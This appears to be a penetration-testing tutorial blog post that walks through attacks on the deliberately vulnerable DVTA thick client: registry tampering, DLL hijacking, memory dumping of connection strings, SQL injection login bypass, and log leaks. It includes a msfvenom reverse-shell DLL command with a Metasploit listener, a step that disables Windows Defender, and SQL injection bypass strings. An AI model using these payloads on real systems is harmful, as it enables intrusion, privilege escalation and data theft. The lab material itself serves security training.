In the previous article, we have seen some methods to Analyze the Traffic of Thick Client Applications specifically in DVTA.

You can take a look at that article by browsing this link: – https://www.hackingarticles.in/thick-client-penetration-testing-traffic-analysis/

In this article, we will perform some attacks to pen-test the application.

Table of Content

• Prerequisites
• Privilege Escalation
• DLL Hijacking
• Dumping connection string from memory
• SQL Injection
• Side Channel Data Leak
• Forensic Investigation: – Unreliable logs

Prerequisites

• Attacker machine: – Kali Linux
• Regshot: – For Privilege Escalation
• Process Hacker: – To dump the memory strings
• Procmon from Sysinternal suite

Privilege Escalation

Regshot is a great open-source registry compare utility that you can use to compare the number of registry entries or installing a new software product so that you can easily take a snapshot of your registry and then compare it with a second. Let us see how we can use Regshot to figure out what modifications are done to the registry entries after running our application.

First of all download the Regshot application go going to the official site or you can directly download it from here: – https://sourceforge.net/projects/regshot/files/latest/download

Download and extract It into your system and open up 32 version of regshot

After opening up the application choose the HTML document and take the 1^st shot. So this should take a snapshot of all the registries entries.

Once 1^st shot is done open up the DVTA application and explores the application a bit by logging in to one of the user accounts and taking the profile information and after that we will take the second shot to observe the difference between the registry entries before running the application and registry entries after running the application.

Let’s open up the DVTA application and log in as Vijay or another user that you have created.

And then explore the application such as by clicking on View Profile or by checking expenses.

Now, let’s take a second shot to see what registries entries have been modified.

Ok, great 2^nd shot also has been taken, let’s compare both of the entries.

It will show you an HTML file with all the differences between the 1^st shot and 2^nd shot. It will show you lots of entries. To make it easier to search for DVTA. When you apply the find filter it will show you some DVTA related entries. If you notice these are the registries entries that are modified while the application was running probably when we have logged in to the application at that time the DVTA application might have saved these values. You can see that initially, the user name was “null” after running the application the value Vijay was added to this registry entry. Similarly, initially, the password was null, and “Vijay” was added after running the application. Basically, after logging in as Vijay the user name password was saved into the registry’s entries. Similarly, null has been replaced by “vijay@test.com” for the Email entries and is logged in made “True” from false as shown below.

This brings us to perform an interesting attack. To do this open up this particular registry entry into the registry editor as shown below. As we can see there the value of IsLoggedIn is true so we can make use of this feature to log in as somebody else by changing the user name to Paras or whatever you want.

Let’s see you can login or not into the DVTA application by using these registries entries. If the password is also going to verify by the client application you won’t be able to log in as paras. But if there are no checks made by the application to verify the password of the currently logged-in user account.

So, let’s quickly check that we’re able to log in as paras or not.

As we can see we have successfully able to log in as paras just by tempering the registry entry. If you look at the view profile it is still showing Vijay’s Email ID because we didn’t modify that.

Now we’re also able to communicate with the database by submitting expenses here. All you need to do is to go to Add Expanses then create an expense and save it as shown below. After saving it the data will be stored in the database.

You can also verify whether the data is successfully stored in the database or not. As you can see in the below image, we can retrieve data from the database successfully.

This is how applications can make use of registry entries to save sensitive data and if attackers can find them, they can use them for different types of attacks.

DLL Hijacking

DLL Hijacking is one of the commonly seen vulnerabilities. Now we have a question moving around is what is DLL. DLL stands for Dynamic Link Library. DLL files usually hold executable code that can be stored in different files and are loaded into RAM or invoked when the related code is required. When an application executes and use this DLL file and if the accurate path is not provided the application has to search for this DLL. The path for DLL is set by the Windows operating system by using global environmental variables if an attacker manages to replace this library or DLL with his own DLL from the same name as one the target application is looking for… it may load the attacker DLL instead of the library that application Is looking for and it may execute the malicious code placed by the attacker in the DLL file and this is known as DLL Hijacking.

To better understand DLL Hijacking we must understand how windows application find their DLL files when the full path is not provided.

Now the question is how do we find if an application is vulnerable to DLL Hijacking.

Let’s test that with our DVTA application but before we proceed with that these are their assumptions let’s assume, we have an initial foothold on the target machine with low admin so we can easily manage to gain a shell on a windows machine where DVTA is running but the problem is we got the access of windows with low privileges we don’t have admin access but we have found an application DVTA running with admin privileges. Now If this application is vulnerable to DLL Hijacking and we can exploit it then there is the highest probability that we will elevate our privileges to an administrator. Let’s do this

Firstly, open “Procmon” from the Sysinternal suite

By opening procmon, it loads entries associate with all the processes. To reduce all the processes so let’s quickly apply a filter so that we will only see the data that we are interested in. To apply the filter, navigate to filter and apply the filter as shown below

• The process name is DVTA.exe
• The path ends with dll
• The result ends with NAME NOT FOUND

So that you are going to see only the process related to DVTA.exe

After applying the filter, quickly open the DVTA.exe and login into the application

We are basically finding out it is vulnerable to DLL hijacking or not. After log in to the application you can see a couple of entries were created in the procmon related to DVTA.exe. As you can see there it loaded two dll one is DWrite.dll another is SECUR32.DLL so basically, there are two DLL that are potentially usable for this attack.

Now the question is to check these two DLL are useable for us or not. To do this let’s go ahead and create a malicious DLL that gives a reverse shell.

To create malicious DLL open the Kali Linux and create a malicious DLL using msfvenom as shown below

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -f dll > DWrite.dll

Then after moving this file to webroot so that we can download the DLL file In the victim machine by typing

cp DWrite.dll /var/www/html

and then start the apache service by typing

service apache2 start

Let’s download these DLL files into the windows machine however, there is a problem these files will be flagged as a virus, and windows defender will not allow you to download them so we will have to disable windows defender for a while

Now you good to download the DLL file by navigating to 192.168.0.108 in your browser

Now navigate to the Downloads folder and copy the Dwrite.dll file

And place it in the directory of the DVTA application

Now come back to Kali Linux and setup Metasploit listener with the meterpreter payload. To do this type the following command

msfconsole

After opening up the msfconsole run the following command

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.108
set LPORT 4444
exploit

Now, it should give us a shell when the DLL file is executed by the DVTA application. To do this go back to the windows machine and assume as an attacker….that you have placed a malicious file in the directory of the DVTA application and you will have to wait for the administrator to restart the DVTA application from its directory.

So, now in this case we have to assume that the administrator came in and he opened the DVTA application. Here must remember one thing when the administrator tries to run the application is not going to open just due to that wrong DLL file that terminates the execution of the DVTA application. Now come back to the Kali Linux machine and where you can see we got a meterpreter shell

But when the administrator tries to run the application that application will not be loaded so, maybe he tries to kill the process. To prevent from losing the shell let’s just quickly migrate to the stable process by running the following command

ps

Now quickly find a stable process according to your environment here I’m migrating to the process of explorer.exe

You can see there each process have their process ID. To migrate another process like explorer.exe run the below command in my case I’m migrating to process ID 8036 explorer.exe

migrate 8036

after running this command migration will be completed successfully and even the administrator goes to the task manager and kills the process of DVTA application just because the application was not loaded your session is not going to end also you can verify it by running the following command

getuid

This is how we can exploit DLL hijacking vulnerability in Thick Client Applications.

Dumping connection string from memory

As we have already seen two types of data storage issues in thick client applications one is storing sensitive data in registry entries and another one is hardcoded credentials. Now we are going to see another type of data storage issue that is predominantly seen in the 2-tier application that is finding database connection strings in memory. There are two scenarios to find these database connection strings.

Scenario 1

• A Clear text connection string may be hardcoded in the client application. So if you can somehow decompile the application or if you can find the strings in the application you may be able to identify this connection string.
• When the application makes a database connection that connection string has to be in memory so if you can dump the memory while the application is running it is highly likely that you will find the database connection string.

Scenario 2

• A lot of applications hardcode the database connection string however they encrypt it. So, an attacker who decompiles the application can find the hard-coded string but it is not useable to connect to the database.
• in this scenario when you run the application the application needs to decrypt the encrypted connection string and that decrypted connection string will be seen in memory.

In both cases, if we can dump the memory of the process, we should be able to find the clear text connection string in memory. When it comes to the DVTA application it comes under scenario 2. It contains a hard-coded connection string but the connection string is encrypted but when the application is being run it has to decrypt the encrypted connection string to be able to communicate with the database.

Let’s see how we can dump the memory of a specific process. There are multiple ways are present to do this but we are going to use a tool called process hacker.

You can download the process hacker tool by searching It on the web or you can download it directly from here.

Process hacker: – https://processhacker.sourceforge.io/downloads.php

We are going to download the portable binary here

Download and extract it on your working directory. We are going to use a 64bit version of this tool which is x64 but before that open up the DVTA application and log in to the application.

Now, since we have connected to Vijay’s account this application has made some communication with the database so let’s run the Process hacker.

As we can see there are lots of processes. Let’s look for DVTA.exe because DVTA is running on another tab so we should be able to find it here as shown in the below image.

Give a double click to the entry of DVTA.exe and then open its properties.

After that go to the memory

Click on the strings and then choose “image” and “mapped”.

Further, then it should find all the strings in the memory of this process. Now as you can see this is a very long list for us to search through so, what we will do is quickly apply a filter with something very common in the database connection strings. So we will apply the filter with the keyword of “Data source” typically database connection strings contain this word data source.

After applying the filter, you can see a bunch of entries. As you can see there are multiple database connection strings with the decrypted password inside

Now copy that entry and paste it on the notepad. As you can see this is the connection string that contains the “user Id” and the “decrypted password”.

Now let’s see how we can make use of this particular database connection string as an attacker to connect to the database. We are going to use “SQL Server Management Studio”. Assume that we are connecting as an attacker so we need to use SQL Server authentication and from the database connection string we found that server IP address which is “localhost\SQLEXPRESS” and “password is p@ssw0rd”.

As you can see we are connected to the Database now we can dump sensitive data from the database or we can explore the database like tables or we can do whatever we want as an attacker.

Conclusion: – This is how we’ve extracted the database connection string from the memory. As I have already mentioned DVTA application uses an encrypted hardcoded connection string.

Sql Injection

This is also one of the commonly seen vulnerabilities in the thick client application is SQL injection. Damn Vulnerable Thick Client application is also affected by SQL injection.

Let’s see how this attack works.

Without wasting the time let’s quickly open up the DVTA application and that log screen has SQL injection Vulnerability.

Open up the notepad and let’s try SQL injection. This is traditionally how vulnerable queries are written.

select * from username='x' or 'x'='x' and password='x' or 'x'='x' ;

“We are going to use x or x = x and this will confuse the database in a way that it thinks that the query is requesting to check for username = x or x = x obviously x = x is always true and this will return true” and this condition also remain same for the password field.

Let’s try to enter this into the user name and password fields and see it works or not.

Hurray!!! As we can see we are logged in as “sa” which is a privileged account. Now we are logged In as some account but using SQL injection we can choose which user we want to login as.

So, let’s logout and change this particular string to something like this.

raj' or 'x'='y

as we assumed that we know the username

Let’s copy the previous string and enter it into the field of username and password.

As we can see now, we are logged In as raj

Let’s say you want to login as an admin all you need to change the name raj to admin and then enter that string in the field of username and password so that similarly you can log in as admin.

This is how we can make use of SQL injection in any application.

Now you might be wondering we already have full access to the database why do we have to rely on SQL injection to log in as someone. The answer is there may be cases where the password is encrypted in the database and you want to log in as a specific user that’s the first case another case is a pentester you always want to tell the developers what the problems are because even though it’s a 2-tier application. Today they may migrate the 3-tier architecture application and if they leave this vulnerable code even in 3-tier architecture that will be a serious problem. So it’s always good to report this kind of problem to do all of us.

Side Channel Data Leaks

This is another interesting security issue that we may come across during Thick Client application penetration testing is Side Channel Data Leaks.

I know which question is moving around in your head that what is Side Channel Data Leak?

Application logging is one of the best examples of Side Channel Data Leaks. Developers often use logging for debugging purposes during development.

Developers may write and debug logs into the console or some sort of file on the disk. when the application is moved into production if these debug logs are not removed from the application it can cause a security risk.

Let’s check out the DVTA application to see if it is writing anything sensitive into console logs.

To do this firstly open up the CMD (command prompt) and navigate to the directory of modified DVTA application and let’s run this application by typing

“DVTA.exe> and the destination of the directory to save the log file\log.txt”

This is the output of this particular console application. This command will open the DVTA application and then log in to the application as shown below.

After login to the application click on the view expanses and then click on the view profile and then logout.

Further, then login to different accounts such as raj and then explore the application and the logout.

Similarly, login as an admin user and click on Backup data to FTP Server.

Basically, we are just browsing through the application to create some logs. As you can see this will create a log file on the desktop

Open up that file using notepad and there you can lot of interesting stuff such as Decrypted Database password, Database Connection String and SQL queries …etc

Lots of interesting stuff is right there and obviously just using these logs we will be able to compromise the entire database because we have the database connection string and we can log in to the database using these logs. 

This is why excessive logging in a production application is dangerous.

Forensic Investigation: – Unreliable logs

This is the common issue that we come across when the testing thick client application is tempering client site data that can be used for forensic investigation.

For example, your application is taking some time stamps from the client machine and they are saved in the database for investigation purposes in the future. If there are any incidents and if they want to check the timestamps of the client’s actions, they can use this data collected from the client.

However, if this client-side data is tempered by the client and if it is not validated further on the server side it can create unreliable logs on the server-side.

Let’s see how it can be tested in the DVTA application. To do this open up the DVTA application and log in as Vijay and then Add some expenses as shown below.

Also, we can view expenses so they will retrieve the data from the database, and if you notice the time is automatically taken from the system. What is the user change this time from 1:31 am to 2:30

pm obviously this will result in incorrect unreliable logs on the server-side.

This is one of the issues that we may want to report If any client-side artifacts are being collected being forensic purposes. So, this is how we can pentest Thick Client Applications. In the next article, we will talk about Reversing and patching the application.

Author – Vijay is a Certified Ethical Hacker, Technical writer and Penetration Tester at Hacking Articles. Technology and Gadget freak. Contact Here